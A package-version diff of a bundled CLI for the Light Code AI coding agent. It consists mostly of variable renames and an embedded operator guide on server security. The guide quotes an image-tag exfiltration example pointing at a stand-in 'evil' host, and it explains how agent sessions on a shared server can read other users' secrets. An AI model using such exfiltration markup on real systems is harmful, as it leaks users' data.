@chosengeneration/light-code 0.9.0 → 0.12.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.js +487 -56
- package/dist/client/client.js +46 -46
- package/dist/server.js +251 -26
- package/package.json +1 -1
package/dist/cli.js
CHANGED
|
@@ -33841,12 +33841,12 @@ var require_dist = __commonJS({
|
|
|
33841
33841
|
throw new Error(`Unknown format "${name}"`);
|
|
33842
33842
|
return f;
|
|
33843
33843
|
};
|
|
33844
|
-
function addFormats(ajv, list,
|
|
33844
|
+
function addFormats(ajv, list, fs24, exportName) {
|
|
33845
33845
|
var _a3;
|
|
33846
33846
|
var _b;
|
|
33847
33847
|
(_a3 = (_b = ajv.opts.code).formats) !== null && _a3 !== void 0 ? _a3 : _b.formats = (0, codegen_1._)`require("ajv-formats/dist/formats").${exportName}`;
|
|
33848
33848
|
for (const f of list)
|
|
33849
|
-
ajv.addFormat(f,
|
|
33849
|
+
ajv.addFormat(f, fs24[f]);
|
|
33850
33850
|
}
|
|
33851
33851
|
module.exports = exports = formatsPlugin;
|
|
33852
33852
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
@@ -33859,7 +33859,7 @@ var require_windows = __commonJS({
|
|
|
33859
33859
|
"../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/windows.js"(exports, module) {
|
|
33860
33860
|
module.exports = isexe;
|
|
33861
33861
|
isexe.sync = sync;
|
|
33862
|
-
var
|
|
33862
|
+
var fs24 = __require("fs");
|
|
33863
33863
|
function checkPathExt(path29, options) {
|
|
33864
33864
|
var pathext = options.pathExt !== void 0 ? options.pathExt : process.env.PATHEXT;
|
|
33865
33865
|
if (!pathext) {
|
|
@@ -33884,12 +33884,12 @@ var require_windows = __commonJS({
|
|
|
33884
33884
|
return checkPathExt(path29, options);
|
|
33885
33885
|
}
|
|
33886
33886
|
function isexe(path29, options, cb) {
|
|
33887
|
-
|
|
33887
|
+
fs24.stat(path29, function(er, stat) {
|
|
33888
33888
|
cb(er, er ? false : checkStat(stat, path29, options));
|
|
33889
33889
|
});
|
|
33890
33890
|
}
|
|
33891
33891
|
function sync(path29, options) {
|
|
33892
|
-
return checkStat(
|
|
33892
|
+
return checkStat(fs24.statSync(path29), path29, options);
|
|
33893
33893
|
}
|
|
33894
33894
|
}
|
|
33895
33895
|
});
|
|
@@ -33899,14 +33899,14 @@ var require_mode = __commonJS({
|
|
|
33899
33899
|
"../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/mode.js"(exports, module) {
|
|
33900
33900
|
module.exports = isexe;
|
|
33901
33901
|
isexe.sync = sync;
|
|
33902
|
-
var
|
|
33902
|
+
var fs24 = __require("fs");
|
|
33903
33903
|
function isexe(path29, options, cb) {
|
|
33904
|
-
|
|
33904
|
+
fs24.stat(path29, function(er, stat) {
|
|
33905
33905
|
cb(er, er ? false : checkStat(stat, options));
|
|
33906
33906
|
});
|
|
33907
33907
|
}
|
|
33908
33908
|
function sync(path29, options) {
|
|
33909
|
-
return checkStat(
|
|
33909
|
+
return checkStat(fs24.statSync(path29), options);
|
|
33910
33910
|
}
|
|
33911
33911
|
function checkStat(stat, options) {
|
|
33912
33912
|
return stat.isFile() && checkMode(stat, options);
|
|
@@ -33930,7 +33930,7 @@ var require_mode = __commonJS({
|
|
|
33930
33930
|
// ../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/index.js
|
|
33931
33931
|
var require_isexe = __commonJS({
|
|
33932
33932
|
"../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/index.js"(exports, module) {
|
|
33933
|
-
var
|
|
33933
|
+
var fs24 = __require("fs");
|
|
33934
33934
|
var core;
|
|
33935
33935
|
if (process.platform === "win32" || global.TESTING_WINDOWS) {
|
|
33936
33936
|
core = require_windows();
|
|
@@ -34194,16 +34194,16 @@ var require_shebang_command = __commonJS({
|
|
|
34194
34194
|
var require_readShebang = __commonJS({
|
|
34195
34195
|
"../../node_modules/.pnpm/cross-spawn@7.0.6/node_modules/cross-spawn/lib/util/readShebang.js"(exports, module) {
|
|
34196
34196
|
"use strict";
|
|
34197
|
-
var
|
|
34197
|
+
var fs24 = __require("fs");
|
|
34198
34198
|
var shebangCommand = require_shebang_command();
|
|
34199
34199
|
function readShebang(command) {
|
|
34200
34200
|
const size = 150;
|
|
34201
34201
|
const buffer = Buffer.alloc(size);
|
|
34202
34202
|
let fd;
|
|
34203
34203
|
try {
|
|
34204
|
-
fd =
|
|
34205
|
-
|
|
34206
|
-
|
|
34204
|
+
fd = fs24.openSync(command, "r");
|
|
34205
|
+
fs24.readSync(fd, buffer, 0, size, 0);
|
|
34206
|
+
fs24.closeSync(fd);
|
|
34207
34207
|
} catch (e) {
|
|
34208
34208
|
}
|
|
34209
34209
|
return shebangCommand(buffer.toString());
|
|
@@ -34457,8 +34457,10 @@ var require_content_type = __commonJS({
|
|
|
34457
34457
|
|
|
34458
34458
|
// src/cli.ts
|
|
34459
34459
|
import { spawn as spawn5 } from "node:child_process";
|
|
34460
|
+
import fs23 from "node:fs/promises";
|
|
34461
|
+
import os2 from "node:os";
|
|
34460
34462
|
import path28 from "node:path";
|
|
34461
|
-
import { fileURLToPath } from "node:url";
|
|
34463
|
+
import { fileURLToPath, pathToFileURL } from "node:url";
|
|
34462
34464
|
|
|
34463
34465
|
// ../../node_modules/.pnpm/env-paths@4.0.0/node_modules/env-paths/index.js
|
|
34464
34466
|
import path from "node:path";
|
|
@@ -34710,7 +34712,202 @@ function refusalFor(messageType) {
|
|
|
34710
34712
|
}
|
|
34711
34713
|
|
|
34712
34714
|
// src/generated/operatorGuide.ts
|
|
34713
|
-
var OPERATOR_GUIDE = '# Running Light Code as a server\r\n\r\nTwo very different deployments share one binary. The first is supported today. The second\r\nis designed for and partly built, but **is not finished, and the gap is not the code \u2014 it is\r\na privilege model.** Read the second half before planning it.\r\n\r\n---\r\n\r\n## 1. Local, single user\r\n\r\nStarts a server on `127.0.0.1` and opens your browser. Same UI as the extension, same\r\nagent, same config format.\r\n\r\n```bash\r\nnpx @chosengeneration/light-code # current folder\r\nnpx @chosengeneration/light-code --workspace D:\\src\\repo\r\nnpx @chosengeneration/light-code --port 7100 --no-open\r\n```\r\n\r\nThe bare name `light-code` on npm belongs to an unrelated package, hence the scope. The\r\ninstalled command is still `light-code`.\r\n\r\nFrom a clone instead:\r\n\r\n```bash\r\npnpm install\r\npnpm serve --workspace D:\\src\\my-repo\r\n```\r\n\r\n### Before publishing a version\r\n\r\n```bash\r\npnpm verify:npm\r\nnpm publish --access public # from apps/host, after npm login\r\n```\r\n\r\n`verify:npm` runs lint, typecheck, tests and the build, then\r\n`scripts/smoke-test-npm.mjs`: it packs the tarball, installs it into an empty directory\r\nwith plain `npm`, and runs it.\r\n\r\nThat last step is not ceremony. A workspace has every dependency hoisted and every sibling\r\npackage linked, so a bundled import or a missing `dependencies` entry stays invisible until\r\nsomebody installs it fresh \u2014 which is exactly how a VSIX that could not activate at all\r\nonce passed build, typecheck, test *and* package.\r\n\r\n### How the session is protected\r\n\r\nLoopback is not a security boundary. Any page you have open can issue requests to\r\n`127.0.0.1`, and while it cannot *read* the reply cross-origin, a request that runs a shell\r\ncommand has already done its damage on the way in. So:\r\n\r\n- **Bound to literal `127.0.0.1`**, never `localhost` \u2014 the name resolves differently per\r\n machine and can dual-stack onto an interface that is not loopback at all.\r\n- **Two-stage token handoff.** The launch URL carries a single-use token in the *fragment*,\r\n which browsers never send to a server. The page reads it, exchanges it at `/api/session`\r\n for a session token, and calls `history.replaceState` to strip it from the address bar.\r\n The handoff expires in 10 seconds and is consumed on first use, valid or not.\r\n- **Bearer header, never a cookie.** Cookies are attached to requests automatically, which\r\n is the mechanism CSRF depends on.\r\n- **`Origin` and `Host` are both checked on every request.** Origin catches CSRF. Host\r\n catches DNS rebinding, where the attacker\'s own domain resolves to 127.0.0.1 so the\r\n Origin check legitimately passes \u2014 the giveaway is a `Host` this server never bound.\r\n- **Strict CSP** with `connect-src \'self\'` and `img-src \'self\' data:`. Model output renders\r\n in this page; without those, a reply containing `<img src="https://evil/?d=...">`\r\n exfiltrates whatever is on screen.\r\n- **No `Access-Control-Allow-Origin`.** Nothing else may read these responses.\r\n\r\nVerified against the running server: a forged Origin is refused with 403, a foreign Host\r\nwith 421, an absent or wrong token with 401, and a handoff token cannot be redeemed twice.\r\n\r\n### Where things are stored\r\n\r\n`--data-dir`, defaulting to the OS application-data directory:\r\n\r\n```\r\n<data>/shared.json administrator ids, variables for everyone (0600)\r\n<data>/users/<hash of principal id>/\r\n config.json profiles, MCP servers, approvals (0600)\r\n secrets.json API keys, passwords (0600)\r\n variables.json this user\'s session variables (0600)\r\n workspace-state.json which task was open\r\n tasks/ conversation history\r\n tool-results/ spilled tool output\r\n checkpoints/ shadow-git snapshots\r\n```\r\n\r\n**Variables are a file of their own, not a key in `config.json`.** The config schema strips keys\r\nit does not recognise, so variables kept there would survive until the first unrelated save and\r\nthen vanish silently. Do not move them back.\r\n\r\nEverything is already per-principal, which is the groundwork for the next section.\r\n\r\n**Secrets are a file, not a keychain, and the UI says so.** The extension gets DPAPI or\r\nKeychain through VS Code\'s `SecretStorage`. The server has no equivalent without a native\r\nmodule, so it uses an owner-only file. Encrypting it would be theatre: the key would sit\r\nbeside it, readable by the same processes.\r\n\r\n---\r\n\r\n## 1b. Shared mode: `--server` \u2014 a usage guide\r\n\r\nOne server, many people, two URLs. Read section 2 before deciding to run it: this locks\r\n*settings*, not *privileges*, and the difference matters.\r\n\r\n### Set it up\r\n\r\n**1. Put a reverse proxy in front.** IIS, nginx or anything that terminates your existing\r\nauthentication \u2014 Kerberos, NTLM, OIDC. The proxy authenticates the user and states the result in\r\na header.\r\n\r\n**2. Make the proxy set the user header, and strip any inbound copy of it.** Stripping is not\r\noptional: without it a user types their own header and becomes whoever they like.\r\n\r\n```nginx\r\nlocation / {\r\n proxy_set_header X-Forwarded-User $remote_user; # replaces, never appends\r\n proxy_set_header X-Forwarded-Display-Name $remote_user;\r\n proxy_pass http://127.0.0.1:8080;\r\n}\r\n```\r\n\r\nSend the **immutable directory id** \u2014 an Entra object id, an AD SID \u2014 not a username. A username\r\ngets reassigned to a different human when someone leaves; an object id does not.\r\n\r\n**3. Start the server.**\r\n\r\n```bash\r\nlight-code --server \\\r\n --workspace /srv/repo \\\r\n --trust-proxy 10.0.0.5 \\\r\n --admin-id 8f3c1e22-... \\\r\n --port 8080\r\n```\r\n\r\nIt prints both URLs:\r\n\r\n```\r\n users http://127.0.0.1:8080/\r\n administrators http://127.0.0.1:8080/admin\r\n```\r\n\r\n**4. Restrict `/admin` at the proxy.** Light Code does not guard that path \u2014 see below.\r\n\r\n### The flags\r\n\r\n| Flag | What it does |\r\n|---|---|\r\n| `--server` | Shared mode. Settings become read-only except for administrators. |\r\n| `--trust-proxy <ip>` | Believe the user header from this address. **Repeatable, and required** \u2014 without it every request is refused. |\r\n| `--user-header <h>` | Which header carries the id. Default `X-Forwarded-User`. |\r\n| `--admin-id <id>` | Seed an administrator. Repeatable. Applied on every start and merged into the stored list. |\r\n| `--admin` | Opens `/admin` rather than `/` when launching a browser. Takes **no value** \u2014 the old `--admin <id>` form is an error pointing at `--admin-id`. |\r\n| `--bind <address>` | Interface to listen on. Leave it at `127.0.0.1` and let the proxy be the only route in. |\r\n\r\n### The header is not the trust boundary \u2014 the address is\r\n\r\nAnything that can reach the port can send `X-Forwarded-User: anyone`. So the header is believed\r\n**only** from an address you named, checked against the socket\'s peer, which a client cannot\r\nchoose.\r\n\r\nThat is why `--server` refuses to start without `--trust-proxy`. A deployment that refuses\r\neveryone is a support call; one that believes everyone is a breach.\r\n\r\nTwo more properties worth knowing:\r\n\r\n- **A repeated header is refused, not resolved.** A proxy that appends rather than replaces is\r\n exactly how an attacker-supplied value ends up beside the real one, and there is no safe way to\r\n pick between two answers to "who is this".\r\n- **`::ffff:10.0.0.5` and `10.0.0.5` are treated as the same machine**, because that is what Node\r\n reports for an IPv4 client on a dual-stack listener. `::1` and `127.0.0.1` are **not**\r\n interchangeable \u2014 you named one of them and meant it.\r\n\r\n### The two URLs\r\n\r\n`/` is everyone\'s. `/admin` is the administrator\'s interface.\r\n\r\n> **Reaching `/admin` is assumed to be restricted upstream.** Light Code does not re-derive who\r\n> may be there. **Anyone who can reach `/admin` directly is an administrator**, so exposing the\r\n> port without the proxy in front exposes the admin interface with it.\r\n\r\nThe administrator id list is still consulted, and it is the second condition: someone at `/admin`\r\nwho is not on the list is treated as an ordinary user. So a proxy rule that was never written\r\ndegrades to "nobody is an administrator" rather than "everybody is".\r\n\r\nAdministrators can edit the list from the **Variables** tab, so adding a colleague does not need a\r\nrestart. Removing yourself is allowed and logged \u2014 refusing it would mean the last administrator\r\ncan never be replaced \u2014 and `--admin-id` still wins at startup, which is the way back in.\r\n\r\n### What only an administrator can change\r\n\r\n| Administrators | Everyone |\r\n|---|---|\r\n| The **shared** provider set, and the default a new user inherits | **Their own provider profiles, with their own API keys** |\r\n| Importing a whole configuration | Test connection, and exporting their own configuration |\r\n| Network trust: CA, client certificate, verify TLS | Their own session variables |\r\n| MCP servers and per-tool permissions | Mode (Code / Ask / Junior) |\r\n| Enabling Python, the interpreter, the tools folder | Accent and expert colours |\r\n| Search connections, the embedder, indexing | The per-chat expert budget |\r\n| Schedules, including running one by hand | Chatting, editing, running commands |\r\n| Readable folders outside the workspace | Their own task history |\r\n| Auto-approve toggles and the always-allow lists | |\r\n| Session variables that apply to everyone | |\r\n| Approving a queued tool or skill | Submitting one, and seeing their own in the queue |\r\n\r\n### Providers, and bringing your own key\r\n\r\nEveryone can add provider profiles of their own, with their own API keys, and pick which to use.\r\nThat reverses the original blanket rule deliberately. Freezing all of `profiles` treated a second\r\nuser as the same threat as a hostile repository \u2014 but the threat that reasoning is about is one\r\nuser repointing *another\'s* gateway, and a per-user profile cannot do that. Someone bringing their\r\nown key is spending their own money against a host they chose.\r\n\r\nAn administrator can also publish profiles for **everyone**, in `shared.json`:\r\n\r\n```json\r\n{\r\n "defaultProfileId": "gateway",\r\n "profiles": [\r\n {\r\n "id": "gateway",\r\n "label": "Corporate gateway",\r\n "wireFormat": "openai",\r\n "baseUrl": "https://gateway.internal/v1",\r\n "model": "gpt-4o",\r\n "auth": { "type": "apiKey", "apiKeyRef": "profile:gateway:apiKey" }\r\n }\r\n ]\r\n}\r\n```\r\n\r\nThey appear in every user\'s list marked **provided**, with no Edit and no Delete \u2014 a user\'s file\r\nnever stores them, so an edit would silently vanish on the next save. **Duplicate** is offered\r\ninstead, which is how someone starts from the organisation\'s gateway and points the copy at their\r\nown key.\r\n\r\n`defaultProfileId` applies to anyone who has not chosen. It never overrides a choice, and it is\r\nignored if it names a profile that no longer exists \u2014 so removing one cannot leave every session\r\npointing at nothing.\r\n\r\nA shared profile\'s API key lives in `<data>/shared-secrets.json` rather than in any one user\'s\r\ndirectory, so it survives a user clearing their own secrets. As everywhere here that is storage,\r\nnot secrecy: every session runs as the same account and can read the file.\r\n\r\nThe rule: anything invariant 5 already treats as user-scope-only becomes admin-only, because a\r\nsecond user on a shared box is the same threat as a hostile repository arriving by another door.\r\nAnything unlisted that looks like a settings change (`save\u2026`, `set\u2026`, `delete\u2026`) defaults to\r\n**restricted** \u2014 forgetting to list something should mean "an administrator has to do it", never\r\n"anyone may repoint the gateway".\r\n\r\nA refused message is answered, not dropped: the UI hides these controls, so one arriving is either\r\na stale page or someone poking the API, and both deserve a reason.\r\n\r\n---\r\n\r\n## 1c. Session variables\r\n\r\nValues handed to everything a session runs \u2014 shell commands and Python tools \u2014 as environment\r\nvariables. Set them in the **Variables** tab.\r\n\r\n> **They are not secret.** Everything a session spawns runs as the server\'s own account, so\r\n> another user can have their assistant read them. This answers *whose value applies*, not *who\r\n> can see it*. API keys belong in **Providers**, which stores them separately and never sends\r\n> them back to a page.\r\n\r\n### Two scopes, and the administrator wins\r\n\r\n- **Yours** \u2014 only your sessions see them. Stored in `<data>/users/<hash>/variables.json`.\r\n- **Everyone\'s** \u2014 set by an administrator, applied to every user. Stored in `<data>/shared.json`.\r\n\r\nWhere both set the same name, **the administrator\'s value is used**. A variable set centrally is\r\nset precisely because it has to be the same everywhere \u2014 an internal package index, a proxy, a\r\ncompliance flag \u2014 and a per-user value quietly winning would defeat the only reason to set one.\r\n\r\nThe one that lost is not hidden. Your row says so:\r\n\r\n> **overridden** \u2014 An administrator set `REGISTRY` for everyone, so sessions use\r\n> `https://pypi.internal/simple` and not yours.\r\n\r\nWithout that you would edit a value that could never apply and see no sign of it.\r\n\r\n### Names\r\n\r\nLetters, digits and underscore, not starting with a digit. Anything else is refused as you type\r\nit, because a name a shell cannot set fails by starting a process with a *silently different*\r\nenvironment rather than by erroring.\r\n\r\n### Where they reach\r\n\r\n`execute_command` and Python tools. The Python worker\'s environment stays an allowlist \u2014 the\r\nreason it exists is that a provider API key must never reach model-authored code \u2014 and these are\r\nadded to it, because they are what a human deliberately declared.\r\n\r\nAn edit applies to the **next command**, not the next session; a Python tool picks one up when its\r\nworker next starts.\r\n\r\n---\r\n\r\n## 1d. The review queue\r\n\r\nA Python tool or a skill written by someone who is **not** an administrator is not saved. It goes\r\ninto a queue, the author\'s turn is told so and carries on, and an administrator reads the source\r\nand approves or rejects it in Settings \u2192 **Review**.\r\n\r\nAsynchronous on purpose. The in-chat approval gate assumes the approver is present, which is true\r\nin a chat and false here: the person who may approve is not the person asking. Blocking the turn\r\nwould hang for hours when nobody is at a screen, and forever for a scheduled run.\r\n\r\n### What "queued" means\r\n\r\nNothing is written anywhere the workspace can see it. The bytes live in `<data>/reviews.json`\r\nuntil someone approves them, and only then are they written to `.lightcode/tools/` or\r\n`.lightcode/skills/`. That is \xA713\'s rule used as it stands \u2014 the *registry* is the security\r\nboundary, and a file with no registry entry never loads \u2014 rather than a second mechanism beside it.\r\n\r\nTwo consequences worth knowing:\r\n\r\n- **A rejected submission leaves nothing behind.** There is no half-written file to clean up.\r\n- **An approval writes the bytes that were read**, not whatever is on disk by then.\r\n\r\n### Reviewing\r\n\r\nThe queue shows the full source as a diff against what is there now, with the author, the time,\r\nand \u2014 when a [programming provider](#1b-shared-mode---server--a-usage-guide) wrote it \u2014 which\r\nmodel produced it. Approve is disabled until the source has been opened. That is not a security\r\ncontrol, since anyone can open it and not read it; it is there because approving code you have not\r\nlooked at is the single mistake this queue exists to make harder, and a button needing no step in\r\nbetween is one people press by reflex.\r\n\r\nA rejection takes a reason, and the author sees it. Authors can see their own submissions, which is\r\nhow the reason reaches them \u2014 a queue only administrators could read would leave someone waiting\r\nwithout knowing what for.\r\n\r\nResubmitting the same name **replaces** the pending item rather than adding another. A model told\r\nits work is queued sometimes tries again, and four near-identical copies of one tool means an\r\nadministrator has to diff them to find the current one.\r\n\r\nAn administrator\'s own tools and skills are unaffected: they get the ordinary in-chat prompt, which\r\nis the same mechanism with the approver already at the screen.\r\n\r\n---\r\n\r\n## 2. Multi-user hosting with SSO \u2014 read this first\r\n\r\nIdentity is built. `ProxyHeaderIdentity` reads the user from your proxy\'s header, every store is\r\nkeyed by `Principal.id`, and section 1b is the setup guide. So the question of *who is asking* is\r\nanswered.\r\n\r\n**That was never the hard part.** The hard part is this:\r\n\r\n> Light Code executes shell commands, reads and writes files, and spawns MCP servers. On a\r\n> hosted deployment, all of that runs as **the account the server process runs as** \u2014 not as\r\n> the person who asked for it.\r\n\r\nSSO tells you *who is asking*. It does not change *what their request can do*. So on a\r\nshared server, with the design as it stands:\r\n\r\n- Every user\'s commands run with the same OS privileges as every other user\'s.\r\n- Any user can instruct the agent to read any file the service account can read \u2014\r\n including another user\'s `secrets.json` under `<data>/users/`, since file permissions\r\n separate accounts, and here there is only one account.\r\n- Any user can configure an MCP server, which is an arbitrary executable, and it runs as the\r\n service account.\r\n- The approval gate protects a user from the *model*. It does not protect users from each\r\n other, because the person approving is the person asking.\r\n\r\nThis is consistent with what Light Code has always claimed \u2014 \xA73 of `CLAUDE.md` says plainly\r\nthat it does not sandbox executed code and does not protect against another process running\r\nas the same user. On one desktop that is a reasonable line. On a shared server it means\r\n**every user is effectively an administrator of every other user\'s data.**\r\n\r\n### What would actually make it safe\r\n\r\nIn rough order of how much they buy you:\r\n\r\n1. **One OS account per user, or one container per session.** This is the real fix and\r\n nothing else substitutes for it. The server becomes a supervisor that launches a\r\n per-user worker under that user\'s identity; the worker holds the bridge. On Windows this\r\n is a service that impersonates the authenticated principal, or a container per session.\r\n2. **Workspace confinement per principal**, so a user\'s tools are rooted in their own tree\r\n rather than a shared one.\r\n3. **Deny MCP configuration to ordinary users**, or restrict it to an operator-managed\r\n allowlist. It is arbitrary code execution by design.\r\n4. **Disable the Claude CLI expert and `execute_command` by policy** unless 1 is done.\r\n\r\nNone of those are built. Until at least (1) is, a hosted deployment is safe only where\r\n**every user is already trusted with everything every other user can reach** \u2014 for\r\ninstance, one small team sharing a service account they all already have.\r\n\r\n### If you deploy it anyway\r\n\r\nBecause "one team who all trust each other" is a real situation. Section 1b is the how; this is\r\nthe shortlist of things not to skip:\r\n\r\n- Put it behind a proxy that terminates authentication, sets the user header, and **strips any\r\n inbound copy of it**.\r\n- Send the immutable directory identifier as the id, never the username or email \u2014 both get\r\n reassigned to a different person when someone leaves.\r\n- Bind the server to loopback and let the proxy be the only thing that reaches it.\r\n- **Restrict `/admin` at the proxy.** Light Code does not guard it.\r\n- Terminate TLS at the proxy. The `Host` allowlist needs the proxy\'s public authority added.\r\n- Run the service account with the least privilege that still works, and keep its home\r\n directory off any share.\r\n- Tell your users plainly that their sessions are not isolated from one another.\r\n';
|
|
34715
|
+
var OPERATOR_GUIDE = '# Running Light Code as a server\r\n\r\nTwo very different deployments share one binary. The first is supported today. The second\r\nis designed for and partly built, but **is not finished, and the gap is not the code \u2014 it is\r\na privilege model.** Read the second half before planning it.\r\n\r\n---\r\n\r\n## 1. Local, single user\r\n\r\nStarts a server on `127.0.0.1` and opens your browser. Same UI as the extension, same\r\nagent, same config format.\r\n\r\n```bash\r\nnpx @chosengeneration/light-code # current folder\r\nnpx @chosengeneration/light-code --workspace D:\\src\\repo\r\nnpx @chosengeneration/light-code --port 7100 --no-open\r\n```\r\n\r\nThe bare name `light-code` on npm belongs to an unrelated package, hence the scope. The\r\ninstalled command is still `light-code`.\r\n\r\nFrom a clone instead:\r\n\r\n```bash\r\npnpm install\r\npnpm serve --workspace D:\\src\\my-repo\r\n```\r\n\r\n### Before publishing a version\r\n\r\n```bash\r\npnpm verify:npm\r\nnpm publish --access public # from apps/host, after npm login\r\n```\r\n\r\n`verify:npm` runs lint, typecheck, tests and the build, then\r\n`scripts/smoke-test-npm.mjs`: it packs the tarball, installs it into an empty directory\r\nwith plain `npm`, and runs it.\r\n\r\nThat last step is not ceremony. A workspace has every dependency hoisted and every sibling\r\npackage linked, so a bundled import or a missing `dependencies` entry stays invisible until\r\nsomebody installs it fresh \u2014 which is exactly how a VSIX that could not activate at all\r\nonce passed build, typecheck, test *and* package.\r\n\r\n### How the session is protected\r\n\r\nLoopback is not a security boundary. Any page you have open can issue requests to\r\n`127.0.0.1`, and while it cannot *read* the reply cross-origin, a request that runs a shell\r\ncommand has already done its damage on the way in. So:\r\n\r\n- **Bound to literal `127.0.0.1`**, never `localhost` \u2014 the name resolves differently per\r\n machine and can dual-stack onto an interface that is not loopback at all.\r\n- **Two-stage token handoff.** The launch URL carries a single-use token in the *fragment*,\r\n which browsers never send to a server. The page reads it, exchanges it at `/api/session`\r\n for a session token, and calls `history.replaceState` to strip it from the address bar.\r\n The handoff expires in 10 seconds and is consumed on first use, valid or not.\r\n- **Bearer header, never a cookie.** Cookies are attached to requests automatically, which\r\n is the mechanism CSRF depends on.\r\n- **`Origin` and `Host` are both checked on every request.** Origin catches CSRF. Host\r\n catches DNS rebinding, where the attacker\'s own domain resolves to 127.0.0.1 so the\r\n Origin check legitimately passes \u2014 the giveaway is a `Host` this server never bound.\r\n- **Strict CSP** with `connect-src \'self\'` and `img-src \'self\' data:`. Model output renders\r\n in this page; without those, a reply containing `<img src="https://evil/?d=...">`\r\n exfiltrates whatever is on screen.\r\n- **No `Access-Control-Allow-Origin`.** Nothing else may read these responses.\r\n\r\nVerified against the running server: a forged Origin is refused with 403, a foreign Host\r\nwith 421, an absent or wrong token with 401, and a handoff token cannot be redeemed twice.\r\n\r\n### Where things are stored\r\n\r\n`--data-dir`, defaulting to the OS application-data directory:\r\n\r\n```\r\n<data>/shared.json administrator ids, variables for everyone (0600)\r\n<data>/users/<hash of principal id>/\r\n config.json profiles, MCP servers, approvals (0600)\r\n secrets.json API keys, passwords (0600)\r\n variables.json this user\'s session variables (0600)\r\n workspace-state.json which task was open\r\n tasks/ conversation history\r\n tool-results/ spilled tool output\r\n checkpoints/ shadow-git snapshots\r\n```\r\n\r\n**Variables are a file of their own, not a key in `config.json`.** The config schema strips keys\r\nit does not recognise, so variables kept there would survive until the first unrelated save and\r\nthen vanish silently. Do not move them back.\r\n\r\nEverything is already per-principal, which is the groundwork for the next section.\r\n\r\n**Secrets are a file, not a keychain, and the UI says so.** The extension gets DPAPI or\r\nKeychain through VS Code\'s `SecretStorage`. The server has no equivalent without a native\r\nmodule, so it uses an owner-only file. Encrypting it would be theatre: the key would sit\r\nbeside it, readable by the same processes.\r\n\r\n---\r\n\r\n## 1b. Shared mode: `--server` \u2014 a usage guide\r\n\r\nOne server, many people, two URLs. Read section 2 before deciding to run it: this locks\r\n*settings*, not *privileges*, and the difference matters.\r\n\r\n### Set it up\r\n\r\n**1. Put a reverse proxy in front.** IIS, nginx or anything that terminates your existing\r\nauthentication \u2014 Kerberos, NTLM, OIDC. The proxy authenticates the user and states the result in\r\na header.\r\n\r\n**2. Make the proxy set the user header, and strip any inbound copy of it.** Stripping is not\r\noptional: without it a user types their own header and becomes whoever they like.\r\n\r\n```nginx\r\nlocation / {\r\n proxy_set_header X-Forwarded-User $remote_user; # replaces, never appends\r\n proxy_set_header X-Forwarded-Display-Name $remote_user;\r\n proxy_pass http://127.0.0.1:8080;\r\n}\r\n```\r\n\r\nSend the **immutable directory id** \u2014 an Entra object id, an AD SID \u2014 not a username. A username\r\ngets reassigned to a different human when someone leaves; an object id does not.\r\n\r\n**3. Start the server.**\r\n\r\n```bash\r\nlight-code --server \\\r\n --workspace /srv/repo \\\r\n --trust-proxy 10.0.0.5 \\\r\n --admin-id 8f3c1e22-... \\\r\n --port 8080\r\n```\r\n\r\nIt prints both URLs:\r\n\r\n```\r\n users http://127.0.0.1:8080/\r\n administrators http://127.0.0.1:8080/admin\r\n```\r\n\r\n**4. Restrict `/admin` at the proxy.** Light Code does not guard that path \u2014 see below.\r\n\r\n### Trying it on one machine\r\n\r\nA browser cannot set the user header, so without a proxy in front every request is refused \u2014\r\ncorrectly, and the screen stays empty. `scripts/dev-proxy.mjs` closes that gap for local testing:\r\n\r\n```bash\r\n# terminal 1 \u2014 the server, trusting loopback\r\nlight-code --server --port 8751 --trust-proxy 127.0.0.1 --admin-id alice\r\n\r\n# terminal 2 \u2014 a stand-in proxy that stamps a user on every request\r\nnode scripts/dev-proxy.mjs --port 8080 --to 8751 --user alice --name Alice\r\n```\r\n\r\nThen open <http://127.0.0.1:8080/> as a user and <http://127.0.0.1:8080/admin> as an administrator.\r\nRestart the proxy with `--user bob` to see the same server as someone who is not on the admin list.\r\n\r\n**It authenticates nobody.** It stamps whichever user you name onto every request, which is exactly\r\nwhat a real proxy must never do. It is safe here only because it binds loopback and you started it.\r\nDo not put it in front of anything, and do not copy its shape \u2014 the real config above *strips* an\r\ninbound header rather than trusting one.\r\n\r\n### The flags\r\n\r\n| Flag | What it does |\r\n|---|---|\r\n| `--server` | Shared mode. Settings become read-only except for administrators. |\r\n| `--trust-proxy <ip>` | Believe the user header from this address. **Repeatable, and required** \u2014 without it every request is refused. |\r\n| `--user-header <h>` | Which header carries the id. Default `X-Forwarded-User`. |\r\n| `--admin-id <id>` | Seed an administrator. Repeatable. Applied on every start and merged into the stored list. |\r\n| `--admin` | Opens `/admin` rather than `/` when launching a browser. Takes **no value** \u2014 the old `--admin <id>` form is an error pointing at `--admin-id`. |\r\n| `--bind <address>` | Interface to listen on. Leave it at `127.0.0.1` and let the proxy be the only route in. |\r\n\r\n### The header is not the trust boundary \u2014 the address is\r\n\r\nAnything that can reach the port can send `X-Forwarded-User: anyone`. So the header is believed\r\n**only** from an address you named, checked against the socket\'s peer, which a client cannot\r\nchoose.\r\n\r\nThat is why `--server` refuses to start without `--trust-proxy`. A deployment that refuses\r\neveryone is a support call; one that believes everyone is a breach.\r\n\r\nTwo more properties worth knowing:\r\n\r\n- **A repeated header is refused, not resolved.** A proxy that appends rather than replaces is\r\n exactly how an attacker-supplied value ends up beside the real one, and there is no safe way to\r\n pick between two answers to "who is this".\r\n- **`::ffff:10.0.0.5` and `10.0.0.5` are treated as the same machine**, because that is what Node\r\n reports for an IPv4 client on a dual-stack listener. `::1` and `127.0.0.1` are **not**\r\n interchangeable \u2014 you named one of them and meant it.\r\n\r\n### The two URLs\r\n\r\n`/` is everyone\'s. `/admin` is the administrator\'s interface.\r\n\r\n> **Reaching `/admin` is assumed to be restricted upstream.** Light Code does not re-derive who\r\n> may be there. **Anyone who can reach `/admin` directly is an administrator**, so exposing the\r\n> port without the proxy in front exposes the admin interface with it.\r\n\r\nThe administrator id list is still consulted, and it is the second condition: someone at `/admin`\r\nwho is not on the list is treated as an ordinary user. So a proxy rule that was never written\r\ndegrades to "nobody is an administrator" rather than "everybody is".\r\n\r\nAdministrators can edit the list from the **Variables** tab, so adding a colleague does not need a\r\nrestart. Removing yourself is allowed and logged \u2014 refusing it would mean the last 